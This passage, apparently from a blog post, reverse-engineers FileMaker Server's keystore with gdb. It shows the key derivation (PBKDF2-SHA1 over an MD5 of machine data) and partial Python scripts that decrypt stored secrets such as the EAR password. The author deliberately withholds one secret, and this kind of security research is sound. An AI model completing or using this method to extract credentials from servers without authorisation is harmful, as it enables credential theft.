&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Starting in &lt;code&gt;main&lt;/code&gt;, the &lt;code&gt;ciphertext&lt;/code&gt; is our base64-encoded string from the keystore, the &lt;code&gt;key&lt;/code&gt; is the key we discovered via the debugging process (unique per server), and &lt;code&gt;iv&lt;/code&gt; is just 16 null bytes (16 bytes being the block size). From the 32 byte key we only pass byte 0 to 15 to have a 128-bit key.&lt;/p&gt;
&lt;p&gt;In the &lt;code&gt;decrypt&lt;/code&gt; function, we first base64-decode the ciphertext, then initialize the cipher with the passed values and CBC mode.&lt;/p&gt;
&lt;p&gt;Lastly, we decrypt the ciphertext and return the plaintext (unpadded, to remove the padding at the end that completes a full block).&lt;/p&gt;
&lt;p&gt;Running the script successfully reveals the plaintext value (in this case the EAR password we decided to store before).&lt;/p&gt;
&lt;p&gt;While we now have everything we need to decrypt other values on our server, our main goal was to better understand how the keystore works. And we still don&amp;rsquo;t know how the key we found was derived – it cannot be a hardcoded key, as it&amp;rsquo;s different from server to server. Let&amp;rsquo;s dig in more.&lt;/p&gt;
&lt;h2 id="figuring-out-how-the-key-is-derived"&gt;Figuring out how the key is derived&lt;/h2&gt;
&lt;p&gt;Above we saw that &lt;code&gt;Encrypt_AES_decrypt&lt;/code&gt; already gets the key passed to it and that it is called by &lt;code&gt;Draco::KeyStorageProvider::CryptData&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can look at the &lt;code&gt;CryptData&lt;/code&gt; function from within gdb:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) disas &amp;#39;Draco::KeyStorageProvider::CryptData&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This function is certainly more involved with lots of conditional &lt;code&gt;jmp&lt;/code&gt;s and calls.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s first demangle the function names to make it bit easier to browse through:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) set print asm-demangle on
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Disassembling the function again and just looking at the symbols before our &lt;code&gt;Encrypt_AES_decrypt&lt;/code&gt; and &lt;code&gt;Encrypt_AES_encrypt&lt;/code&gt; calls, we see two names that stick out:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x00007f77a60ec76c &amp;lt;+508&amp;gt;: callq 0x7f77a60431d0 &amp;lt;Draco::Machine::GetPersistentID()@plt&amp;gt;
...
0x00007f77a60ec947 &amp;lt;+983&amp;gt;: callq 0x7f77a603f120 &amp;lt;Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;From the Claris documentation, we know that &lt;em&gt;&amp;ldquo;FileMaker [&amp;hellip;] uses a composite key based on information from the machine to encrypt the password and stores the password securely on the server.&amp;rdquo;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Since we know the &lt;code&gt;Get(PersistentID)&lt;/code&gt; function from FileMaker Pro&amp;rsquo;s calculation environment returns a unique identifier for the current machine it is running on, we can assume that &lt;code&gt;Draco::Machine::GetPersistentID()&lt;/code&gt; function does something similar or the same.&lt;/p&gt;
&lt;p&gt;At the same time, we can assume that this ID goes into the &amp;ldquo;composite key based on information from the machine&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;While we can also make an assumption what the &lt;code&gt;ComputePasswordHashRawBytes&lt;/code&gt; is doing, based on the name, we will go through the same debugging procedure as with the &lt;code&gt;Encrypt_AES_decrypt&lt;/code&gt; function above to get more insights.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s set a breakpoint, continue with the program and then close/open our sample database file again:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) b Draco::PasswordHash::ComputePasswordHashRawBytes
Breakpoint 1 at 0x7f77a603f120 (2 locations)
(gdb) c
Continuing.

Thread 49 &amp;#34;fmserverd&amp;#34; hit Breakpoint 1, 0x00007f77a603f120 in Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@plt () from /opt/FileMaker/lib/libSupport.so
(gdb) disas
Dump of assembler code for function _ZN5Draco12PasswordHash27ComputePasswordHashRawBytesEPKcjPKhjiiPh@plt:
=&amp;gt; 0x00007f77a603f120 &amp;lt;+0&amp;gt;: jmpq *0x2b076a(%rip) # 0x7f77a62ef890 &amp;lt;Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@got.plt&amp;gt;
 0x00007f77a603f126 &amp;lt;+6&amp;gt;: pushq $0x10f
 0x00007f77a603f12b &amp;lt;+11&amp;gt;: jmpq 0x7f77a603e020
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We step again into the actual function and then have a look at the arguments being passed. We know the signature, so let&amp;rsquo;s map the register values:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rdi&lt;/code&gt;: 0x7f778c01a5c0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rsi&lt;/code&gt;: 0x10 (or 16 in decimal)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdx&lt;/code&gt;: 0x7f779c250f70&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rcx&lt;/code&gt;: 0x08 (8)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r8&lt;/code&gt;: 0x3e5 (997)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r9&lt;/code&gt;: 0x20 (32)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The seventh argument is passed on the stack, so let&amp;rsquo;s look at the value on the &lt;a href="https://en.wikipedia.org/wiki/Call_stack"&gt;stack&lt;/a&gt; after the return address (&lt;a href="https://en.wikipedia.org/wiki/Call_stack#STACK-POINTER"&gt;stack pointer&lt;/a&gt; is in &lt;code&gt;$rsp&lt;/code&gt; and we skip the first 8 bytes):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) x/xg $rsp+8
0x7f779c250ed0: 0x00007f779c250f00
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s take a look what values can be found at the addresses pointed to by the first, third and seventh argument:&lt;/p&gt;
&lt;p&gt;The first argument is 16 bytes in length, but is certainly not an ascii string (look at it with &lt;code&gt;x/16xb 0x7f778c01a5c0&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The third argument can indeed be interpreted as a string and points to &lt;code&gt;fmserver&lt;/code&gt; (if we spent more time looking at &lt;code&gt;CryptData&lt;/code&gt; we learn that this string and the 997 are the username/id acquired via &lt;a href="https://linux.die.net/man/3/getpwuid"&gt;&lt;code&gt;getpwuid&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The seventh argument contains data we don&amp;rsquo;t understand yet and might very well just be the address where the result goes.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s disassemble the body of the function now:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) disas
Dump of assembler code for function Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*):
=&amp;gt; 0x00007f77a6066a50 &amp;lt;+0&amp;gt;: jmpq 0x7f77a6043ab0 &amp;lt;PKCS5_PBKDF2_HMAC_SHA1@plt&amp;gt;
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can see that the program is calling OpenSSL&amp;rsquo;s &lt;a href="https://www.openssl.org/docs/man3.1/man3/PKCS5_PBKDF2_HMAC_SHA1.html"&gt;&lt;code&gt;PKCS5_PBKDF2_HMAC_SHA1&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Looking at the documentation, we know what each argument is and can now also make sense of the arguments we deciphered above:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;int PKCS5_PBKDF2_HMAC_SHA1(const char *pass, int passlen,
 const unsigned char *salt, int saltlen, int iter,
 int keylen, unsigned char *out);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The password is the 16 bytes at &lt;code&gt;0x7f778c01a5c0&lt;/code&gt;, the salt is &lt;code&gt;fmserver&lt;/code&gt;, the iterations are 997 and the key length is 32.&lt;/p&gt;
&lt;p&gt;PBKDF2 is a common key derivation function, which is used here to create the key for decrypting the keystore value.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 PBKDF2 stands for &lt;strong&gt;Password-Based Key Derivation Function 2&lt;/strong&gt;. It takes a pseudorandom function (such as HMAC-SHA1, as we see above), a password, a salt, a key length and an iteration count. In short, it computes a hash from the salt and a block iteration count, using the given password as key. In the first iteration, it builds another hash using the password as key and the previous hash result as message. These two hashes are then XORd. What follows is a loop of creating a new hash from the previous hash, XORing it again with the previous XOR result, and so on. This is done for the number of iterations specified (here 997) and for each necessary block of the hash length to reach the length of the desired key (here 2 as the hash output of SHA-1 is 20 bytes, but we request a 32 byte key) . For more details see the &lt;a href="https://en.wikipedia.org/wiki/PBKDF2"&gt;Key derivation process explained on Wikipedia&lt;/a&gt;.&lt;br&gt;&lt;br&gt;A few additional things to note: 1) the mentioned hash is not just a SHA-1 hash but an invocation of &lt;a href="https://en.wikipedia.org/wiki/HMAC"&gt;HMAC&lt;/a&gt;. Thus, we&amp;rsquo;re running SHA-1 twice to come up with our hashes in each iteration. 2) The salt being used here is certainly not random (the default fmserver username) and the iteration count is rather low and also likely to be the same or in a close range for every machine (being the user ID). Since the &amp;ldquo;password&amp;rdquo; is already a hash created from a unique identifier (see later in this article), though, this might be less problematic. I assume that this was done like this to easily &amp;ldquo;break&amp;rdquo; the key once any of the variables on the system change, which would force a user to re-enter the EAR password.
&lt;/div&gt;

&lt;p&gt;Given the information we got so far, we should be able to reproduce the key (even though, we still don&amp;rsquo;t know how that password is created).&lt;/p&gt;
&lt;p&gt;Back in Python, we can do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;binascii&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Protocol.KDF&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;PBKDF2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Hash&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SHA1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;fmserver&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;997&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;the value at 0x7f778c01a5c0&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PBKDF2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hmac_hash_module&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SHA1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binascii&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexlify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Running the script, we can now generate the same key that we have discovered above. Cool, one step further!&lt;/p&gt;
&lt;h2 id="figuring-out-how-the-password-is-created"&gt;Figuring out how the password is created&lt;/h2&gt;
&lt;p&gt;The last piece of information we need is how the password which is being passed to &lt;code&gt;PBKDF2&lt;/code&gt; is created .&lt;/p&gt;
&lt;p&gt;Since the password which we discovered was 16 bytes long and we earlier saw a call to &lt;code&gt;GetPersistentID&lt;/code&gt; (which, if equivalent to the &lt;code&gt;Get(PersistentID)&lt;/code&gt; function, also returns 16 bytes sequences), we could assume that the password we saw was just said machine identifier.&lt;/p&gt;
&lt;p&gt;If we compute the persistent ID of the server (for example via &lt;code&gt;Perform Script on Server[]&lt;/code&gt;), however, we realize that the value doesn&amp;rsquo;t match – either because they are indeed different implementations or because the password is just created differently.&lt;/p&gt;
&lt;p&gt;To understand how the server arrives at the previously detected password, we can continue in two ways. Either we step through the instructions of &lt;code&gt;Draco::KeyStorageProvider::CryptData&lt;/code&gt; (which calls the previously analysed &lt;code&gt;ComputePasswordHashRawBytes&lt;/code&gt;) or we go a couple of steps back and check again, if we can find other interesting symbols now that we have learned a bit more and know the &lt;code&gt;KeyStorageProvider&lt;/code&gt; class is involved.&lt;/p&gt;
&lt;p&gt;For the latter strategy &lt;code&gt;Draco::KeyStorageProvider::GetInstance()&lt;/code&gt; seems like a good starting point.&lt;/p&gt;
&lt;p&gt;Setting a breakpoint and entering the function, we see the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) disas
Dump of assembler code for function Draco::KeyStorageProvider::GetInstance():
 0x00007f3ef752b4c0 &amp;lt;+0&amp;gt;: push %rbx
 0x00007f3ef752b4c1 &amp;lt;+1&amp;gt;: mov 0x20b3c9(%rip),%al # 0x7f3ef7736890 &amp;lt;_ZGVZN5Draco18KeyStorageProvider11GetInstanceEvE8instance&amp;gt;
 0x00007f3ef752b4c7 &amp;lt;+7&amp;gt;: test %al,%al
 0x00007f3ef752b4c9 &amp;lt;+9&amp;gt;: je 0x7f3ef752b4d4 &amp;lt;Draco::KeyStorageProvider::GetInstance()+20&amp;gt;
 0x00007f3ef752b4cb &amp;lt;+11&amp;gt;: lea 0x20b2ae(%rip),%rax # 0x7f3ef7736780 &amp;lt;_ZZN5Draco18KeyStorageProvider11GetInstanceEvE8instance&amp;gt;
 0x00007f3ef752b4d2 &amp;lt;+18&amp;gt;: pop %rbx
=&amp;gt; 0x00007f3ef752b4d3 &amp;lt;+19&amp;gt;: retq
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We have a &lt;code&gt;test&lt;/code&gt; right at the beginning, meaning we likely return early, if the &lt;code&gt;KeyStorageProvider&lt;/code&gt; has already been instantiated. However, once we&amp;rsquo;re in this function, we can also look at what&amp;rsquo;s in memory.&lt;/p&gt;
&lt;p&gt;We can see that the previously discovered password &lt;code&gt;a04d..&lt;/code&gt; is already set here, so we might need to find where we initialize the provider for the first time (and thus where the password is being created).&lt;/p&gt;
&lt;p&gt;As mentioned in the beginning of the article, I&amp;rsquo;ll brush over some details here to not make a &amp;ldquo;point-and-shoot&amp;rdquo; decryption script available, but leave this as an exercise for the reader.&lt;/p&gt;
&lt;p&gt;What you have to look for is the initialization function for the KeyStorageProvider (which is executed during first start of the server) and another function that derives the password.&lt;/p&gt;
&lt;p&gt;In it you will find that an MD5 context is built, which then gets fed the machine&amp;rsquo;s persistent ID and another secret (you know it when you see it). Eventually, a 16-byte MD5 checksum is created, which matches the password we saw earlier.&lt;/p&gt;
&lt;p&gt;Having found this final part, we can now re-create the key and decrypt keystore values. The following Python script shows how you could do it in a program, leaving a few details out for the reasons mentioned above:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;hashlib&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;base64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Cipher&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Util.Padding&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;unpad&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Protocol.KDF&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;PBKDF2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Hash&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SHA1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;decoded_ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MODE_CBC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoded_ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;derive_key&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# the full secret string discovered in the last part&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;997&lt;/span&gt; &lt;span class="c1"&gt;# uid&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;fmserver&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# username&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;PBKDF2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hmac_hash_module&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SHA1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# base64-encoded ciphertext from keystore&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;derive_key&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# null IV&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;plaintext: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
